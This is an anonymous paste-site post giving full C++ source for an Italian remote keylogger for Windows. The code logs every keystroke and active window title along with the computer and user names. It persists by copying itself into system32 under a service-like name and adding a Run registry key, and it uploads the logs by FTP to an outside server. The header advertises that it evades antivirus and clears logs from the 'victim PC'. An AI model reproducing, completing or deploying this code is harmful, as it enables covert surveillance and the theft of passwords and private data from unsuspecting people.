Posted by Anonymous on Thu 10 Sep 01:30
- /*
- *************************************************************************
- * __GiReX__ Remote KeyLogger 2.0 MODIFICATO BY cr4sh_0v3rr1d3 *
- * Linguaggio: C++ *
- * Features: Keylogger Remoto *
- * - Logga tutto, e la maggior parte delle combinazioni da tastiera *
- * - Con un apposita aggiunta alle chiavi di reg. si autoavvia con Win *
- * - INVIO LOG TRAMITE FTP *
- * - Se fallisce, ritenta ogni 60 MINUTI di rinviare il log *
- * - Una volta inviato il vecchio log viene cancellato dal PC vittima *
- * - Non rilevato dagli AntiVirus *
- *************************************************************************
- */
- #include <windows.h>
- #include <iostream>
- #include <cstring>
- #include <ctime>
- #include <fstream>
- #include <stdio.h>
- #include <time.h>
- #include <curl/curl.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <string.h>
- #define PRESSED -32767
- #define LOCAL_FILE "c:\\windows\\system32\\log.txt"
- #define UPLOAD_FILE_AS "log.txt"
- #define REMOTE_URL "ftp://jumpers.netsons.org/" UPLOAD_FILE_AS
- #define RENAME_FILE_TO "renamed-and-fine.txt"
- using namespace std;
- void nascondi();
- void StartLog();
- bool upload();
- void chkSend();
- void RegistraAndSposta();
- void logga(char *stringa);
- void logga(char carattere); // OVERLOAD
- ofstream log; //File di LOG
- char prog[25] = "winservice.exe"; // Dare il nome che ha l'exe
- char key_dir[255], log_dir[255]; // Destinazione keylogger (mette entrambi i file in system32 del user)
- bool inviato = FALSE;
- static size_t read_callback(void *ptr, size_t size, size_t nmemb, void *stream)
- {
- /* in real-world cases, this would probably get this data differently
- as this fread() stuff is exactly what the library already would do
- by default internally */
- size_t retcode = fread(ptr, size, nmemb, stream);
- fprintf(stderr, "*** We read %d bytes from file\n", retcode);
- return retcode;
- }
- int main(int argc, char *argv[])
- {
- int i = 0;
- HWND finestra;
- char titolo_finestra[255], last_titolo[255];
- RegistraAndSposta();
- strcpy(log_dir, key_dir);
- strcat(log_dir, "\\log.txt");
- //nascondi();
- StartLog();
- inviato = upload();
- while(1) {
- finestra = GetForegroundWindow(); // Ricevo l'indirizzo della finestra del programma
- GetWindowText(finestra, titolo_finestra, sizeof(titolo_finestra));
- if(strcmp(titolo_finestra, last_titolo) && titolo_finestra[0]!= '\0')
- {
- logga("\n\n==\tFinestra: ");
- logga(titolo_finestra);
- logga("\t==\n\n");
- } strcpy(last_titolo, titolo_finestra);
- if(GetAsyncKeyState(VK_SHIFT)) { // LOGGO CARATTERI SE SHIFT E' PREMUTO
- for(i = 65; i<= 90; i++) {
- if(GetAsyncKeyState(i)== PRESSED) logga(i);
- }
- for(i = 48; i <= 57; i++) {// CARATTERI SPECIALI --> =!"�$%&/() <--
- if(GetAsyncKeyState(i) == PRESSED) {
- if(i==48) logga(61);
- else if(i==51) logga(163);
- else if(i==55) logga(47);
- else logga(i-16);
- }
- }
- if(GetAsyncKeyState(220) == PRESSED) logga('|');
- if(GetAsyncKeyState(188) == PRESSED) logga(';');
- if(GetAsyncKeyState(190) == PRESSED) logga(':');
- if(GetAsyncKeyState(189) == PRESSED) logga('_');
- if(GetAsyncKeyState(186) == PRESSED) logga('�');
- if(GetAsyncKeyState(187) == PRESSED) logga('*');
- if(GetAsyncKeyState(192) == PRESSED) logga('�');
- if(GetAsyncKeyState(222) == PRESSED) logga('�');
- if(GetAsyncKeyState(191) == PRESSED) logga('�');
- if(GetAsyncKeyState(219) == PRESSED) logga('?');
- if(GetAsyncKeyState(221) == PRESSED) logga('^');
- if(GetAsyncKeyState(226) == PRESSED) logga('>');
- } // END IF (se shift � premuto)
- else { // LOGGO CARATTERI SE SHIFT NON E' PREMUTO
- for (i = 65; i <= 90; i++) {
- if (GetAsyncKeyState(i) == PRESSED) logga(i+32); // LETTERE
- }
- for(i = 48; i <= 57; i++) { // NUMERI
- if(GetAsyncKeyState(i) == PRESSED) logga(i);
- }
- /* ALCUNI CARATTERI SPECIALI */
- if(GetAsyncKeyState(220) == PRESSED) logga('\\');
- if(GetAsyncKeyState(188) == PRESSED) logga(',');
- if(GetAsyncKeyState(190) == PRESSED) logga('.');
- if(GetAsyncKeyState(189) == PRESSED) logga('-');
- if(GetAsyncKeyState(186) == PRESSED) logga('�');
- if(GetAsyncKeyState(187) == PRESSED) logga('+');
- if(GetAsyncKeyState(192) == PRESSED) logga('�');
- if(GetAsyncKeyState(222) == PRESSED) logga('�');
- if(GetAsyncKeyState(191) == PRESSED) logga('�');
- if(GetAsyncKeyState(219) == PRESSED) logga('\'');
- if(GetAsyncKeyState(221) == PRESSED) logga('�');
- if(GetAsyncKeyState(226) == PRESSED) logga('<');
- if(GetAsyncKeyState(111) == PRESSED) logga('/');
- if(GetAsyncKeyState(106) == PRESSED) logga('*');
- if(GetAsyncKeyState(109) == PRESSED) logga('-');
- if(GetAsyncKeyState(107) == PRESSED) logga('+');
- if(GetAsyncKeyState(110) == PRESSED) logga('.');
- /* TASTI FUNZIONALI (loggo char*) */
- if(GetAsyncKeyState(VK_CAPITAL) == PRESSED) logga("<CPSLCK>");
- if(GetAsyncKeyState(VK_BACK) == PRESSED) logga("<BK>");
- if(GetAsyncKeyState(VK_DELETE) == PRESSED) logga("<DEL>");
- if(GetAsyncKeyState(VK_ESCAPE) == PRESSED) logga("<ESC>");
- if(GetAsyncKeyState(VK_HOME) == PRESSED) logga("<HOME>");
- if(GetAsyncKeyState(VK_END) == PRESSED) logga("<END>");
- if(GetAsyncKeyState(VK_INSERT) == PRESSED) logga("<INS>");
- if(GetAsyncKeyState(VK_TAB) == PRESSED) logga("<TAB>");
- if(GetAsyncKeyState(VK_LEFT) == PRESSED) logga("<LEFT>");
- if(GetAsyncKeyState(VK_RIGHT) == PRESSED) logga("<RIGHT>");
- if(GetAsyncKeyState(VK_UP) == PRESSED) logga("<UP>");
- if(GetAsyncKeyState(VK_DOWN) == PRESSED) logga("<DOWN>");
- /* SPAZIO E A CAPO */
- if(GetAsyncKeyState(VK_SPACE) == PRESSED) logga(" ");
- if(GetAsyncKeyState(VK_RETURN) == PRESSED) logga("\t<INVIO>\n");
- }
- Sleep(10);
- chkSend(); // CONTROLLO SE IL FILE E' STATO UPPATO
- }
- return 0;
- }
- void StartLog()
- {
- char user[50], pcname[50], ora[50];
- DWORD buffSize = 50;
- GetComputerName(pcname, &buffSize); // Ottengo il nome del computer
- GetUserName(user,&buffSize); // Ottengo l'username
- time_t startTime;
- time(&startTime); // Ottengo il localtime
- strcpy(ora, ctime(&startTime)); // Lo converto in stringa
- logga("\t--> KEYLOGGER AVVIATO <--\n\n"); // Loggo le varie info
- logga("Nome del computer:\t");
- logga(pcname);
- logga("\nUsername:\t\t");
- logga(user);
- logga("\nStartup Time:\t\t");
- logga(ora);
- logga("\n\n");
- }
- void RegistraAndSposta()
- {
- char moved[255];
- GetSystemDirectory(key_dir, sizeof(key_dir)); // Prendo il percorso della dir system32
- strcpy(moved, key_dir);
- strcat(moved, "\\");
- strcat(moved, prog);
- CopyFile(prog, moved, 1); // COPIO il keylogger in system32
- HKEY chiave; // Mofifico le chiavi di registro (run) in modo che parta all'avvio
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&chiave);
- RegSetValueEx(chiave, "winservice.exe",0,REG_SZ,(const unsigned char*)moved,sizeof(moved)); //<<<----------- qua e da modificare il //nome del file
- RegCloseKey(chiave);
- }
- void nascondi()
- {
- HWND invisibile;
- invisibile = FindWindow("ConsoleWindowClass", NULL); // Ricevo valore finestra
- ShowWindow(invisibile, SW_HIDE); // Nascondo finestra
- }
- void logga(char carattere) // Loggo caratteri
- {
- log.open(log_dir, ios::app);
- log << carattere;
- log.close();
- }
- void logga(char *stringa) // Loggo Stringhe (char*)
- {
- log.open(log_dir, ios::app);
- log << stringa;
- log.close();
- }
- bool upload() {
- CURL *curl;
- CURLcode res;
- FILE *hd_src;
- struct stat file_info;
- curl_off_t fsize;
- struct curl_slist *headerlist=NULL;
- static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS;
- static const char buf_2 [] = "RNTO " RENAME_FILE_TO;
- /* get the file size of the local file */
- if(stat(LOCAL_FILE, &file_info)) {
- printf("Couldnt open '%s': %s\n", LOCAL_FILE, strerror(errno));
- return false;
- }
- fsize = (curl_off_t)file_info.st_size;
- printf("Local file size: %" CURL_FORMAT_CURL_OFF_T " bytes.\n", fsize);
- /* get a FILE * of the same file */
- hd_src = fopen(LOCAL_FILE, "rb");
- /* In windows, this will init the winsock stuff */
- curl_global_init(CURL_GLOBAL_ALL);
- /* get a curl handle */
- curl = curl_easy_init();
- if(curl) {
- /* build a list of commands to pass to libcurl */
- headerlist = curl_slist_append(headerlist, buf_1);
- headerlist = curl_slist_append(headerlist, buf_2);
- /* we want to use our own read function */
- curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
- /* enable uploading */
- curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
- /* specify target */
- curl_easy_setopt(curl,CURLOPT_URL, REMOTE_URL);
- /* pass in that last of FTP commands to run after the transfer */
- curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist);
- /* now specify which file to upload */
- curl_easy_setopt(curl, CURLOPT_READDATA, hd_src);
- /* Set the size of the file to upload (optional). If you give a *_LARGE
- option you MUST make sure that the type of the passed-in argument is a
- curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must
- make sure that to pass in a type 'long' argument. */
- curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,
- (curl_off_t)fsize);
- /* Now run off and do what you've been told! */
- res = curl_easy_perform(curl);
- /* clean up the FTP commands list */
- curl_slist_free_all (headerlist);
- /* always cleanup */
- curl_easy_cleanup(curl);
- }
- fclose(hd_src); /* close the local file */
- curl_global_cleanup();
- return true;
- }
- void chkSend()
- {
- if(inviato==TRUE) return;
- else {
- struct tm *orario;
- time_t lt;
- int min;
- lt = time(NULL);
- orario = localtime(<);
- min = orario->tm_min;
- if(min==0) inviato = upload();
- }
- }
The paste: http://pastebin.com/m560a9f66
Bookmark this post with:
Subscribe to this blog!
Follow on Twitter!